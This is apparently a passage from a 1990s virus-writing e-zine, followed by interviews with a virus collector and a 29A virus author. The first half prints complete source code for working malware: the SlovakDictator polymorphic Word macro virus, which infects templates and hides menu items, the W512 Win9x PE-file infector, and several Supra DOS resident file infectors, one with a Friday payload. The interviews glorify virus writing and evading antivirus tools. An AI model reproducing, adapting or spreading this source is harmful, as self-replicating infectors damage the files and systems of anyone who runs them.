giving many other possibilities. In this virii is used as unified model for relocating code. All such a difficult
management is there because of idea of creating self-adaptible modular system, or known as genetic-
system (or genetical virus). Mentioned genetical virus can be able to self-optimize its own genes (modules)
from available set of genes to reach optimal performace. However, it is still not finished and most probably
will not ever be, as particular ideas are already obsolete and a new and better ones were developed. Thats
why the main aim of this virus - a genetical system - is not that vissible and a release of this virus as well as
his source code waits so long.
Because original source code of this virii were lost we introduce you sources of a bit newer version capable
of infection of DOS4GW extended programs. There are fixed some bugs and work under '98 too. We hope
you will appreciate work of this author and you will take a look at it.
May be we will once see project that can infect all vba platforms ...
---cut here----
'Put this in the 2nd ish o your mag ??
CurFile$ = FileName$()
If CurFile$ = "" Then Goto GoAway
End If
Sub CustomizeMenu
For i = 1 To CountMenuItems("File", 0)
If UCase$(MenuItemMacro$("File", 0, i)) = "FILETEMPLATES" Then Goto Customize
Next i
Goto es
Customize:
ToolsCustomizeMenus .MenuType = 0, .Position = - 1, .Category = 1, .Name = "FileTemplates", .
Menu = "&File", .MenuText = "&Templates...", .Remove, .Context = 0
ToolsCustomizeMenus .MenuType = 0, .Position = - 1, .Category = 1, .Name = "EditAutoText", .
Menu = "&Edit", .MenuText = "AutoTe&xt...", .Remove, .Context = 0
es:
End Sub
Function GenName$
i = 4 + Rnd() * 3
a$ = ""
For j = 1 To i : a$ = a$ + Chr$(65 + Rnd() * 23) : Next j
GenName$ = a$
End Function
Sub InsertParaEnd
InsertPara
i = Rnd()
If i < 0.2 Then Insert GenName$ + "=" + Str$(100 * Rnd()) Else If i < 0.4 Then Insert
GenName$ + "=Rnd()" Else If i < 0.6 Then Insert GenName$ + " = Now()" Else If i < 0.8 Then
Insert "REM " + GenName$ Else If i > 0.81 And i < 0.813 Then Insert "REM (c) " + "Nasty
Lamer & Ugly Luser" + ", Slovakia" Else If i > 0.82 And i < 0.823 Then Insert "REM Do not
forget: SlovakDictator is mother of all macro viruses of the new generation ! "
If i < 0.95 Then InsertPara
End Sub
xInfType$ = Str$(where)
xOnError$ = GenName$
ToolsMacro .Edit, .Name = thismacro$, .Show = where
ViewToolbars .Toolbar = "Macro", .Hide
If where = 1 Then ParaUp
InsertParaEnd: InsertParaEnd
Insert "On Error Goto " + xOnError$ : InsertParaEnd
Insert "ScreenUpdating 0" : InsertParaEnd
Insert xDocVar$ + "$ =" + Chr$(34) + "A" + Chr$(34) : InsertParaEnd
Insert "SetDocumentVar " + xDocVar$ + "$, " + Chr$(34) + xAutoTextName$ + Chr$(34) :
InsertParaEnd
Insert xWinName$ + " = WindowName$()" : InsertParaEnd
InsertLine("ToolsMacro", ".Name=" + Chr$(34) + xMacroName$ + Chr$(34), ".Show=" + xInfType$,
".Edit") : InsertParaEnd
InsertLine("EditAutoText", ".Name=" + Chr$(34) + xAutoTextName$ + Chr$(34), ".InsertAs=0",
".Insert") : InsertParaEnd
Insert "DocClose 1" : InsertParaEnd
Insert "Activate " + xWinName$ : InsertParaEnd
Insert "Call " + xMacroName$ : InsertParaEnd
InsertLine("ToolsMacro", ".Name=" + Chr$(34) + xMacroName$ + Chr$(34), ".Show=" + xInfType$,
".Delete") : InsertParaEnd
Insert xOnError$ + ":" : InsertParaEnd
DocClose 1
GenPolyMacro$ = xAutoTextName$
End Function
Sub Infect(where)
xOldAutoTextName$ = GetDocumentVar$("A")
normaldot$ = UCase$(DefaultDir$(2) + "\NORMAL.DOT")
inffile$ = FileName$()
If where = 1 Then
xAutoTextName$ = GenPolyMacro$(where, "FileSave")
Organizer .Copy, .Source = inffile$, .Destination = normaldot$, .Name = xOldAutoTextName$
, .Tab = 1
Organizer .Rename, .Source = normaldot$, .Name = xOldAutoTextName$, .NewName =
xAutoTextName$, .Tab = 1
MacroCopy normaldot$ + ":FileSave", normaldot$ + ":FileSave", 1
MacroCopy normaldot$ + ":FileSave", normaldot$ + ":ToolsMacro", 1
CustomizeMenu
Else
xAutoTextName$ = GenPolyMacro$(where, "AutoOpen")
Organizer .Copy, .Source = normaldot$, .Destination = inffile$, .Name = xOldAutoTextName$
, .Tab = 1
Organizer .Rename, .Source = inffile$, .Name = xOldAutoTextName$, .NewName =
xAutoTextName$, .Tab = 1
MacroCopy inffile$ + ":AutoOpen", inffile$ + ":AutoOpen", 1
End If
End Sub
==============================================================================
Macro name: PolozkaAutoTextuDebugInfo [POLOZKAAUTOTEXTUDEBUGINFO] "U"
Description: Finalna plne komentovana verzia s debug infom. Treba nakopirovat ako polozku
autotextu "SURIV" do globalu bez Sub MAIN a End Sub
------------------------------------------------------------------------------
'-------------------------------------------------------
' WordMacro.SlovakDictator - light version
' (c) 20-apr-97, Nasty Lamer & Ugly Luser, Slovakia
' Our motto: Quality, not quantity !
' Distribute like crazy, please :))
' Original source code commented by authors
UGLYKID.MAC
'-------------------------------------------------------
Sub MAIN
DisableInput
On Error Goto GoAway
CurFile$ = FileName$()
If CurFile$ = "" Then Goto GoAway
'---///---///---
' check if already infected
Function CheckInstalled(j, macro$)
CheckInstalled = 0
macro$ = UCase$(macro$)
For i = 1 To CountMacros(j)
If UCase$(MacroName$(i, j)) = macro$ Then CheckInstalled = 1
Next i
End Function
'---///---///---
'---///---///---
' Stealth menu
Sub CustomizeMenu
For i = 1 To CountMenuItems("File", 0)
If UCase$(MenuItemMacro$("File", 0, i)) = "FILETEMPLATES" Then Goto Customize
Next i
Goto es
Customize:
ToolsCustomizeMenus .MenuType = 0, .Position = - 1, .Category = 1, .Name = "FileTemplates", .
Menu = "&File", .MenuText = "&Templates...", .Remove, .Context = 0
ToolsCustomizeMenus .MenuType = 0, .Position = - 1, .Category = 1, .Name = "EditAutoText", .
Menu = "&Edit", .MenuText = "AutoTe&xt...", .Remove, .Context = 0
es:
End Sub
'---///---///---
'---///---///---
' generate random name
Function GenName$
i = 4 + Rnd() * 3
a$ = ""
For j = 1 To i : a$ = a$ + Chr$(65 + Rnd() * 23) : Next j
GenName$ = a$
End Function
'---///---///---
UGLYKID.MAC
'---///---///---
' patch already mutated macro a little bit
Sub InsertParaEnd
InsertPara
i = Rnd()
If i < 0.2 Then Insert GenName$ + "=" + Str$(100 * Rnd()) Else If i < 0.4 Then Insert
GenName$ + "=Rnd()" Else If i < 0.6 Then Insert GenName$ + " = Now()" Else If i < 0.8 Then
Insert "REM " + GenName$ Else If i > 0.81 And i < 0.813 Then Insert "REM (c) " + "Nasty
Lamer & Ugly Luser" + ", Slovakia" Else If i > 0.82 And i < 0.823 Then Insert "REM Do not
forget: SlovakDictator is mother of all macro viruses of the new generation ! "
If i < 0.95 Then InsertPara
End Sub
'---///---///---
' mutated commands, cool !!!
Sub InsertLine(cmd$, a$, b$, c$)
Insert cmd$ + " "
For i = 1 To 5
If Rnd() > 0.5 Then
d$ = a$ : a$ = b$ : b$ = d$
Else
d$ = b$ : b$ = c$ : c$ = d$
End If
Next i
Insert a$ + ", " + b$ + ", " + c$
End Sub
'---///---///---
'---///---///---
' generate tiny polymorphic macro
' if where=1 to global
' if where=3 to fileZ
Function GenPolyMacro$(where, thismacro$)
xMacroName$ = GenName$
xAutoTextName$ = GenName$
xDocVar$ = GenName$
xWinName$ = GenName$ + "$"
xInfType$ = Str$(where)
xOnError$ = GenName$
ToolsMacro .Edit, .Name = thismacro$, .Show = where
ViewToolbars .Toolbar = "Macro", .Hide
If where = 1 Then ParaUp
InsertParaEnd: InsertParaEnd
Insert "On Error Goto " + xOnError$ : InsertParaEnd
Insert "ScreenUpdating 0" : InsertParaEnd
Insert xDocVar$ + "$ =" + Chr$(34) + "A" + Chr$(34) : InsertParaEnd
Insert "SetDocumentVar " + xDocVar$ + "$, " + Chr$(34) + xAutoTextName$ + Chr$(34) :
InsertParaEnd
Insert xWinName$ + " = WindowName$()" : InsertParaEnd
InsertLine("ToolsMacro", ".Name=" + Chr$(34) + xMacroName$ + Chr$(34), ".Show=" + xInfType$,
".Edit") : InsertParaEnd
InsertLine("EditAutoText", ".Name=" + Chr$(34) + xAutoTextName$ + Chr$(34), ".InsertAs=0",
".Insert") : InsertParaEnd
Insert "DocClose 1" : InsertParaEnd
Insert "Activate " + xWinName$ : InsertParaEnd
Insert "Call " + xMacroName$ : InsertParaEnd
InsertLine("ToolsMacro", ".Name=" + Chr$(34) + xMacroName$ + Chr$(34), ".Show=" + xInfType$,
".Delete") : InsertParaEnd
Insert xOnError$ + ":" : InsertParaEnd
DocClose 1
GenPolyMacro$ = xAutoTextName$
End Function
UGLYKID.MAC
'---///---///---
'---///---///---
' replicate + mutate name of AutoText entry
Sub Infect(where)
MsgBox "Infecting"
xOldAutoTextName$ = GetDocumentVar$("A")
MsgBox "Old AutoText=" + xOldAutoTextName$
normaldot$ = UCase$(DefaultDir$(2) + "\NORMAL.DOT")
MsgBox "NormalDot=" + normaldot$
inffile$ = FileName$()
MsgBox "Inffile=" + inffile$
MsgBox "to template"
If where = 1 Then
xAutoTextName$ = GenPolyMacro$(where, "FileSave")
MsgBox "Copying"
Organizer .Copy, .Source = inffile$, .Destination = normaldot$, .Name = xOldAutoTextName$
, .Tab = 1
MsgBox "Renaming"
Organizer .Rename, .Source = normaldot$, .Name = xOldAutoTextName$, .NewName =
xAutoTextName$, .Tab = 1
MacroCopy normaldot$ + ":FileSave", normaldot$ + ":FileSave", 1
MacroCopy normaldot$ + ":FileSave", normaldot$ + ":ToolsMacro", 1
CustomizeMenu
Else
MsgBox "to document"
xAutoTextName$ = GenPolyMacro$(where, "AutoOpen")
MsgBox "Copying"
Organizer .Copy, .Source = normaldot$, .Destination = inffile$, .Name = xOldAutoTextName$
, .Tab = 1
MsgBox "Renaming"
Organizer .Rename, .Source = inffile$, .Name = xOldAutoTextName$, .NewName =
xAutoTextName$, .Tab = 1
MacroCopy inffile$ + ":AutoOpen", inffile$ + ":AutoOpen", 1
End If
End Sub
==============================================================================
This one piece from Vecna is w9x direct action ring3 virus, need to say very tinny one. Therefore is has its
limitation - uses hardcoded kernel32.dll adress, uses pretty visible signature w512 in the PE header, infects
only EXE files (hard to say if this is a limitation nowadays). This one piece should be easy to understan for
everyone - of you take a closer look on the source, it reasembles old DOS only times - it used vxdcalls to get
onto old classic int 21h. By the way, another proof, win9x is only graphical shell extension for DOS :P
;[W512] by Vecna
;
;A tiny w9x direct action ring3 virus!
.386p
.model flat
locals
.data
dd ?
.code
start:
cmp by [esp+3], 0bfh
push ofs stub
old_eip equ dwo $-4
je @@1
ret
@@1:
call get_delta
call vinit
mov ah, 1ah
lea edx, [ebp+ofs dta-ofs delta]
call int21
mov ah, 4eh
call @@2
db '*.EXE', 0
@@2:
pop edx
mov ecx, 27
@@3:
call int21
jc @@4
lea edx, [ebp+ofs dta+1eh-ofs delta]
call infect
mov ah, 4fh
jmp @@3
@@4:
ret
get_delta:
call delta
delta:
pop ebp
ret
int21:
call get_delta
push ecx
push eax
push 002a0010h
call [ebp+ofs vxdcall-ofs delta]
ret
vinit:
call @@set_seh
W512.ASM
infect:
call @@set_seh
mov esp, [esp+8]
jmp @@fault
@@set_seh:
sub ecx, ecx
push dwo fs:[ecx]
mov fs:[ecx], esp
mov ax, 4300h
call int21
jc @@fault
push edx
push ecx
mov ax, 4301h
sub ecx, ecx
call int21
jc @@1
mov ax, 3d02h
call int21
mov ebx, eax
jc @@1
mov ah, 3fh
mov ecx, 1024
lea edx, [ebp+header-ofs delta]
mov esi, edx
call int21
jc @@2
xor eax, ecx
jnz @@2
cmp wo [esi], 'ZM'
jne @@2
mov eax, dwo [esi+3ch]
add esi, eax
cmp eax, 900
jnb @@2
cmp dwo [esi], 'EP'
jne @@2
mov eax, '215w'
cmp dwo [esi+88], eax
mov dwo [esi+88], eax
W512.ASM
je @@2
cmp wo [esi+4], 014ch
jne @@2
movzx eax, wo [esi+22]
not al
test eax, 2002h
jnz @@2
movzx eax, wo [esi+6]
dec eax
imul eax, eax, 40
lea edi, [esi+0e0h+24]
add edi, eax
mov edx, [edi+16]
push edx
add edx, [edi+12]
xchg edx, [esi+40]
mov [ebp+ofs old_eip-ofs delta], edx
pop edx
add edx, [edi+20]
mov dwo [edi+36], 0c0000040h
add dwo [edi+8], ofs vvend-ofs start
add dwo [edi+16], ofs vend-ofs start
mov eax, [esi+52]
add [ebp+ofs old_eip-ofs delta], eax
mov ax, 4200h
sub ecx, ecx
call int21
mov ah, 40h
lea edx, [ebp+ofs start-ofs delta]
mov ecx, ofs vend-ofs start
call int21
mov ax, 4200h
sub ecx, ecx
cdq
call int21
mov ah, 40h
lea edx, [ebp+ofs header-ofs delta]
mov ecx, 1024
call int21
@@2:
mov ah, 3eh
call int21
@@1:
pop ecx
pop edx
mov ax, 4301h
call int21
@@fault:
pop dwo fs:[0]
pop ecx
ret
vxdcall dd 0
stub:
push 0
call @@1
db '(c) vecna', 0
@@1:
call @@2
db 'first generation', 0
@@2:
push 0
extrn MessageBoxA:proc
call MessageBoxA
push 0
extrn ExitProcess:proc
call ExitProcess
end start
SUB
This is actualy set of very short dos viruses, like follows:
; Supra virus
; ***********
; This is a spawning resident COM infector.
.model tiny
.code
.386
org 100h
start:
db "::"
jmp v_start
db 13,10
db "@copy %0 $-$.com>nul",13,10
db "@$-$.com",13,10
db "@del $-$.com",13,10
db "::"
v_start:
mov ax,3521h ; get interrupt vector 21h
int 21h
mov word ptr [int21_addr],bx
mov word ptr [Int21_addr+02h],es
mov ah,25h ; set interrupt vector 21h
mov dx,offset int21_vir
int 21h
mov dl,offset end_m+1-100h ;tsr
int 27h ; stay resident
int21_vir:
cmp ah,4bh ; execute program
jne int21_e ; not equal, jmp_exit
infect: ; ds:dx = filename
pusha ; save regs
push es ds
mov di,offset new_fn ;copy filename
push di
mov si,dx
push cs
pop es
load_fn: ; load filename
lodsb
stosb
or al,al
jnz load_fn
mov dword ptr es:[di],00544142h ; add extension BAT
mov ah,56h ; rename
pop di
int 21h
jc tyta
create: ; create new fie
mov ah,3ch
mov cl,0010b ;create file
int 21h
push cs
pop ds
xchg bx,ax ;filehandle
mov ah,40h
mov cx,offset end_v-100h ;write virii
mov dx,100h ;code begin
int 21h
mov ah,3eh ;close file
int 21h
tyta:
pop ds es
SUPRA_B.ASM
.model tiny
.code
.386
org 100h
start:
mov ah,2ah ;get system date function
int 21h
cmp al,5h ;if it's friday
jne startvir ;if not so jump to startvir
payload:
mov ax,13h ; set mode 13h
int 10h
mov bx,0A000h
mov ds,bx
loop_:
mov [bx],cl
add bx,bx
jnc $+5
xor bl,45
loop loop_
mov ah,1 ; check for keystroke
int 16h
jz loop_ ; l00p
mov ax,3
int 10h
ret
startvir:
mov ax,3521h ; get interrupt vector 21h
int 21h
mov word ptr [int21_addr],bx
mov word ptr [Int21_addr+02h],es
mov ah,25h ; set interrupt vector 21h
mov dx,offset int21_vir
int 21h
mov dl,offset end_m+1-100h ;tsr
int 27h ; stay resident
int21_vir:
cmp ah,4bh ; execute program
jne int21_e ; not equal, jmp_exit
infect: ; ds:dx = filename
pusha ; save regs
push es ds
mov di,offset new_fn ;copy filename
push di
mov si,dx
push cs
pop es
load_fn: ; load filename
lodsb
stosb
or al,al
jnz load_fn
mov dword ptr es:[di],004d4f43h ; add extension COM
mov ah,56h ; rename
pop di
int 21h
jc tyta
create: ; create new fie
SUPRAP.ASM
mov ah,3ch
mov cl,0010b ;create file
int 21h
push cs
pop ds
xchg bx,ax ;filehandle
mov ah,40h
mov cx,offset end_v-100h ;write virii
mov dx,100h ;code begin
int 21h
mov ah,3eh ;close file
int 21h
tyta:
pop ds es
mov dword ptr ds:[si],004d4f43h
popa
int21_e:
db 0eah ;jump to int 21.
end_v:
int21_addr dd ? ; address of interrupt 21h
new_fn db 30 dup (?)
end_m:
end start
SUPRA2.ASM
; %%%%%%%%%%%%%
; % Supra 1.1 %
; %%%%%%%%%%%%%
;
; Memory resident bat/com infector.
.model tiny
.code
org 100h
start:
db "::"
jmp vm_start ; jmp virus start
db 13,10
db "@copy %0 $-$.com>nul",13,10
db "@$-$.com",13,10
db "@del $-$.com",13,10
db "::"
vm_start:
mov ax,3521h ; get interrupt vector 21h
int 21h
mov word ptr [int21_addr],bx
mov word ptr [Int21_addr+02h],es
mov ah,25h ; set interrupt vector 21h
mov dx,offset int21_vir
int 21h
not dh
int 27h ; stay resident
int21_vir:
cmp ah,4bh ; execute program
je execute
cmp al,21 ; install check
jne int21_e
cmp dx,offset int21_vir
jne int21_e
Restore_Control: ;restore host file
mov di,100
pop si
mov si,offset vend
push di
mov ch,0fdh ; copy host file in memory
repnz movsb
xor ax,ax
iret
execute: ; infect proc
push ax
push bx
push cx
push dx
push ds
mov ax,3d02h ; open file
int 21h
xchg ax,bx
push cs
pop ds
mov ah,3fh ; read file
mov dx,offset vend
mov ch,0feh
int 21h
mov si,dx
cmp byte ptr [si],':' ; infect?
je done ; file already infected
push ax
SUPRA2.ASM
mov ax,4200h
xor cx,cx ;Go to beginning of prog.
xor dx,dx
int 21h
pop cx
mov ah,40h ; write virii
add cx,vend-start
inc dh
int 21h
done:
mov ah,3eh ;close file
int 21h
pop ds
pop dx
pop cx
pop bx
pop ax
int21_e:
db 0eah ;jump to int 21
int21_addr dd ? ; address of interrupt 21h
vend:
virname db 'Supra'
quit: ret
end start
Cicatrix is well known on virus scene as maintainer of VDAT, a kind of virus knowledge database about
viruses, groups, zines, etc. Now you can read what is behind...
You are one of the best known collectors on the net. Try to introduce yourselves...
Well like most of us I think I'm just your regular run-of-the-millaverage guy who happens to 'dig'
computer viruses.
Everyone in the H/P/A/V scene has some nick. Where did you get yours, it sounds so stange for most
of the people ...
In my normal day-to-day job I happen to sometimes use a handle as well. Cicatrix is the Latin
translation/equivalent.
On your site is always anouncement like you are "in process of moving your a** back home". Can you
specify where in Europe is your home?
Some people know exactly were I belong but lets say I'm from Western Europe.
See below.
Tell us about your very beginning, like what was yer 1st comp etc...
My first experience must have been around 1983 when I saw some 10-12 year old kid do magic with a
computer keyboard. I decided that what a 10-12 year old kid could do I could better so I bought my first
computer (Acorn Electron with a cassette player for storage) and started fooling around programming
simple stuff in BASIC.
Many of the readers of *-Zine would like to know, when and why did you start to be interesting in
computer viruses.
It must have been the late '80's. I'd often heard about this magical thing called a computer virus but I
had never encountered one. Having moved to an IBM compatible computer (8088) I was using quite a
lot of pirated software and I used McAfee as a virus scanner. Then one day when I decided to scan a
diskette which I did not expect to have a virus (it came from a reputable source) I found the Cascade
virus.
Did you ever write some virus? If so what was the virus like ?
Nope, I've looked at a lot of them but I've never created one myself.
Do you have any programming skills? If so, what's you preffered programming language and why?
I'm not really a programmer. I know Basic, VB and I have a limited knowledge of assembler.
One of your main activities seems to be the maintenance of your webpage. Its design is of good
standard. Do you design the page on your own or do you get some help from other person?
I do 99% myself (if I can find the time). I think my site is pretty basic compared to what is possible with
HTML nowadays. But since I have a full time job and a lot of other hobbies and don't really have the
time to make the site too fancy. Also it is easier to update a site that is not too complicated.
Your webpage is one of best watched on the net. How many hits you have a day?
In the beginning of my site I used to have a counter and I was amazed at how many people were
visiting. One day I reorganized my site and I forgot to put the counter back up. Now I don't really care
anymore, I know by my e-mail that a lot people like the site and visit a lot.
Your page at www.xs4all.nl/~cicatrix is best viewed with Nescape Navigator and "weird things may
happened to Internet Exploder". Maybe we are of the same blood group and we both dislike Micro$oft.
If so, why do you dislike M$ and its CEO big guru Gate$$$?
I have no reason to dislike them (yet). At least I like Windows 95 better that I liked Windows 3.1 (which
was a horrible piece of software).I happened to start with Netscape and I disliked MSIE because
initially it couldn't compete with Netscape's features. Recently they have grown closer and closer but
still like Netscape more and I noticed that MSIE doesn't like pages build with Netscape.
There are also other virus related site on the net. WCIVR has shitloads of viruses online, Virus
Emporium the same. Why do you think (I hope you think) is your site better than that of the others?
This question assumes I think my site is better that the other sites. Of the two I only know WCIVR
which hasn't been updated in ages. It has loads of viruses and I still sometimes visit. I think my site has
a nice cross section of stuff available in the VX scene and I think VDAT is getting to be a popular
database.
I would like to ask you somethink about VSUM and that Patty which is responsible for this piece of
(des)information. But surely AVPVE is better source of virus information.
In the beginning I used to D/L every release of VSUM but the more I got to know about viruses the
more I was amazed about the program's (well known) inaccuracies. The last couple of releases were
not really worth getting, especially with only a small part of all available viruses being covered.
I liked the generic idea of a hypertext database on viruses though and it was sort of the thing that got
me started on VDAT.
I really like AVPVE. The initial DOS-version was pretty good, especially with the visual effect database
that was included. The online version of AVPVE is getting better and better and I'm really looking
forward to the stand alone (HLP and HTML) versions.
As for VSUM qualities, let's take old good One_Half virus. Every virus kid knows what is does, but Patty
Hoffman obviously not. What would you say on VSUM's classic sentence "... it is unknown what this
virus does besides replicate... " if you'd have the opportunity to meet Patty in person?
I'd give her the URL to AVPVE and teach her how to Cut & Paste.
You are that one dude who created VDAT. What was the reason for creating VDAT?
When I started out collecting viruses I downloaded everything I could get that had anything to do with
computer viruses. I stored all that material on diskettes but since I wasn't as organized then as I am
now I could't find anything when I wanted to read it again so I ended up downloading the stuff again.
After a while I was sick and tired of this and I was at that time browsing through VSUM to find
something. The whole hypertext idea sort of appealed to me and that is how it all started. It took a while
to find a suitable hypertext compiler but after a while that was taken care of. The first couple of releases
were, as with most first tries, pretty lame and incomplete. But it got better and better. The DOS version
was pretty limited in graphics and looks and it was a bitch to create hyperlinks so after a while I started
looking for a Windows version. Initially I couldn't find a suitable compiler but with the rise of HTML I
found InfoCourier (http://www.smartcode.com). It allows the use of regular HTML code, which should
be good if I ever want to put the whole thing online, and editing the stuff was a lot easier. Keeping both
versions up to date was impossible due to time constraints so in the beginning of this year I chose to
discontinue the DOS version much to the sorrow of some Windows haters.
As the amount of available information in VDAT reached critical level, DOS version has been
discontinued :(((((( Easy to understand. Last two releases are Windoze only. What tools do you use to
maintain VDAT (language, enviroment etc...)?
See above, recently I've been looking at HTML2EXE which is similar to InfoCourier. It knows frames
which InfoCourier doesn't although thelatter has better font control and I'm still looking for a crack
forHTML2EXE.
You get the virus samples mostly direct from their autors, in order to include them in your monthly
incremental updates. This gives me the oportunity to ask you directly : "Do you have any relationship to
any AV company"?
No, none whatsoever. Some have e-mailed me but that is about it. I'm pretty sure somehow my CCTX
updates get to them though.
Like I say on my site, my collection is in need of a major overhaul butit is hard to find the time. I don't
have a recent scan bu I'm sure I have more than 10000-11000 scanned viruses and loads of unscans.
Like most things it has ups and downs. There have been periods in the last couple of years I really
thought that all virus writers had quit. But then a couple a weeks later a new group would start out and
new 'solo' writers would join the scene. I think that as long as there arecomputers there will be viruses
and virus writers.
What was the greatest break through in the history of virus writing?
'Greatest' is a matter of opinion but I think that MtE and TPE were the start of a major chapter in the
history of computer viruses. Another major event (though not especially sophisticated) would be the
macrovirus. The ease of programming such a virus and the lack of knowledge about them with the
'regular' computer user has made it the biggest virus event in the last couple of years.
The numbers of new macro viruses hits the sky. What is the reason for this new trend in virus writing in
your opinion?
Like I say a couple of questions ago, it is easy to program and pretty transparent. Also computer users
still don't expect .DOC files to be infected.
The need for solution of macro virus problem results to creation of the handfull of macro specific
scanners. Which 'll be your choice, if you should pick up one or two of the bests?
F-Macrow sees the most. F/WIN uses heuristics. HMVS uses heuristics and is able to disassemble
most macro viruses (95 & 97).
Express your opinion on today's top AV programs (F-prot, TBAV, Solomon, AVP, Web etc.)
Personally I use F-Prot (DOS), TBAV (W95), AVP (W95) and sometimes Norton AV. I hear Dr.
Solomon is pretty good.
No major moral issues. I don't like destructive payloads and I think there is a difference between
making viruses available and actively spreading viruses for the sake of infection.
Coca-Cola
All Alien movies, Bladerunner and The Fifth Element
Rush
http://www.avp.ch/avpve
http://www.pipo.com/darkweb/virus.html
http://www.wcivr.com
http://www.codebreakers.org
http://www.virusexchange.org/29a
Like I say in VDAT: "The graphic user interface and layout are very well done and user friendly. This
zine sets a standard on how things can be done with a some dedicated effort and know how."
I really liked the GUI and all the VX stuff that was offered. It looks very professional. One gripe would
be that I could'n export everything to a .TXT file.
Who are you, where are you from and other personal stuff ...
Hmm, Ok, lets start. I'm Benny from Czech Republic (the middle of the Europe) and I'm member of 29A.
Nowadays (summer 1999), I'm 17, I study computers on highschool and writin' viruses, engines and
tutorials for/about Win32 platformz.
I always wanted have a computer becoz many of my friends had their own computer. I became owner
of my own PC, when I was 13. That was great time. I can remember, that all friends were playin'
games, but only I was interested in programmin' and operatin' system itself.
When I had my own PC, I heard about some weird things, such as PC viruses. But to hear wasn't
enough for me and I wanted to know, how is it coded. I was fanatic to AVs descriptions and I wanted to
code my own virus. I bought many boox, but nowhere was explained, how to code that. Then I found
one perfect book, where I found source codes of PS/MPC viruses and Aragon boot virus. Great
moment. I don't know, if I would be there, where I am without that book.
Yeah, many times. My first computer was full of viruses. Then my friend borowed me one great
antivirus. It was AVG 3.0. It had perfect heuristix, comparable with TBAV (maybe better). When u ran
test of HD, it took program by program, lists all instructions it steped, list all triggled flags and
everything. It could fake STEALTH viruses, it could read directly from disk, use XMS, trace INTs and
much more. And that had very nice interface. U should see that. Wholy sci-fi! And it took me thinkin'
about many things. Hehe, I can remember, I was runnin' that AV three times per day and I wanted from
AV to find some virus, becoz I loved that feelin', when infected file was cleaned. Weird? Yeah, who said
I'm not, hehe X-D?
My first language was PASCAL. Then I was very interested in ASM. When I had holidays, I decided I
should learn C/C++. Two months of readin' some boox and I know everything about it. Then I know
Delphi (a little only), Java (look at my page) and some scriptin' langs, such as HTML or JavaScript.
I l0ve assembler. I can do everything, that I can't do elsewhere. I hate objects, visuals, components
and sh!tz such like. Who doesn't know any low-level language ain't coder, but developer. Everybody
can click and so create program, what it ain't thing I wanna do. If I can't see all resources it takes, whole
source, registers, opcodes and otherz, I don't like it. I like to optimize and fully optimize my code and
have fully control of my programm I can only in assembler. I don't like ppl, which don't like assembler 8-
).
When I was surfing on internet, I found link to WM.CAP. There was link to 29A page and there I
downloaded 29A#2 magazine. That was nirvana. I haven't ever seen so kewl zine as 29A#2 (except of
this, ofcoz X-D). There I found some link to IRC. I didn't know, what da hell that IRC is. After some
friends advices, I downloaded some client for IRC and went to hispanola IRC. Huh, I had a BiG luck.
There were many good coderz at the same time and everyone was on-line! Everyone wanted to show
me his page, they wanted to chat with me and when I said "I'm interested in Win32", noone stood
under the control. I won't ever forget for that moment, when Darkman said: "Hey guy, u r that coder, we
r lookin' for. Join 29A!". I couldn't believe, that the best VX group ever wants lammer such me. They
said they wants me in da 29A and I thought, it ain't possible, it's only a dream. Then, I decided I must
do everything to join that group.
Hehe, it's funny story. If I'll forget to my first lame PASCAL EXE append virus, my first virus was
Win32.Eva. That time, I hadn't any motivation and I promised myself, I will code something really kewl.
Then it happened. I fell in the love with some nice girl. And becoz she didn't know it and it happened on
Friday, start of weekend, I didn't know, what I should that dead weekend do. I decided it would be
better to code something. By those three days, I coded, commented and debugged my first (Win32)
virus. (Un)fortunately, Eva knows sh!t about computers and maybe it's better. However, I must give her
all my thanx, becoz that was perfect enter to VX scene. Darkman was dead, when I said him "I have a
virus for u. It's Win32.Eva and it's coded by me".
And the sure followed next pieces from your workshop. Tell us more about them.
Hmmm, there r many pieces from my workshop. And if u won't be bored of that, I will list here all I
coded.
Viruses:
All these viruses have much more features than I said here. But if I would say all features, this interview
would be all about my viruses and not about me...
Engines:
BPE32 - Benny's Polymorphic Engine for Win32, my first portable poly engine. Very kewl by
its size and features (e.g. SEH trap).
BCE32 - Benny's Compression Engine for Win32, very kewl by its size and compression
ratio.
Tutorials:
Threads and Fibers under Win32
Optimization of 32bit code
Fuckin' AVs in Win32 enviroment
Theme: Metamorphism
Huh, that's all for now. But soon, u will be able to get more and more viruses/engines/tutorials... I code
very fast, as many ppl say about me.
What your best virus you have ever written and what features it has?
Ok, my best virus is always that last one and everytime, I code something new, it's better than my
previous work. Well, my best virus is for now Win98.BeGemot. It is first Win98
EXE/SCR/RAR/SFX/CPL/DAT/BAK resident, ring3, ring0, Pentium+, multithreaded, compressed,
stealth, slow poly, fast infector, which contains communication interface that allows u to communicate
with virus, if it's in memory. It uses SEH, undocumented opcode, and many more new features, by
which is now undetectable by any AV. This is virus I'm the most proud of...
How did you get in 29A and what is the feeling 'to be in'?
Hehe, I don't know, how did I get in 29A. I wrote 3 viruses. And as I heard, my third one
(Win32.Leviathan) was the thing, by which I am 29Aer. Thanx g0d X-D! When Reptile and Darkman
said, I'm in 29A, I thought I will jump thru the window. It everything I wanted and when it came to me, I
was 5 minutes in trans. That feelin' was great, really. Now what r my feelings? I won't lie u, I'm very
proud on myself that I'm in 29A. It happens sometimes in your life only, that u r part of something great
and that u r first human in the world, who did something. But becoz I promised to all 29A stuff I will do
impossible for our group, I'm tryin' to do that. And also I won't forget my beginner ages so I try to help
every beginner as much as I can. Everytime I do something, I ask myself, if that thing I did is right and if
I'm lammer or if I'm not. Be selfcritic, that's very important thing. Think about u and about things, u did.
We r breakin' unbreakable. Still remember those old ages, when some guy XORed his virus and all AV
world was absolutly mad of it? Now we use hi-technologies, such as poly, meta, stealth, anti-heur, anti-
debug and things such like. We learn operating system and we know more, becoz we want it and becoz
its our hobby. Without us, everybody would be developer or guy from microsoft. Without us, everybody
would think on and on, that Windows is the best 32bit (huh) system in da world. We breakin' the law, we
want know more and we know it.
In the history of the virus writing community, there was thousands of viruses, some of them elite, other
absolute crap. What's your personal TOP 5 of viruses and why?
I have many favourite viruses and I don't wanna say, that that virus is better than that one. I will list
them without any order...
There r many other viruses I like and I for sure forgot some, which I like more than that, which is listed
above. But it's very hard to say, what's better, what's best and what's crap.
The same as for viruses can be applied to antivirus software (but they are here not thounsands but in
some couple of dozens exmplares). Your personal TOP five of anvirus packages and reason(s) why:
And that's all. Next AVs I don't like very much. Bah, who likes AVs ;)
They r very smart ppl. Noone, who don't understand system at least as good as VXerz, can't be AVer.
What I don't like is that all AVerz thinx, that we VXerz r stupid kiddos and again all VXerz means same
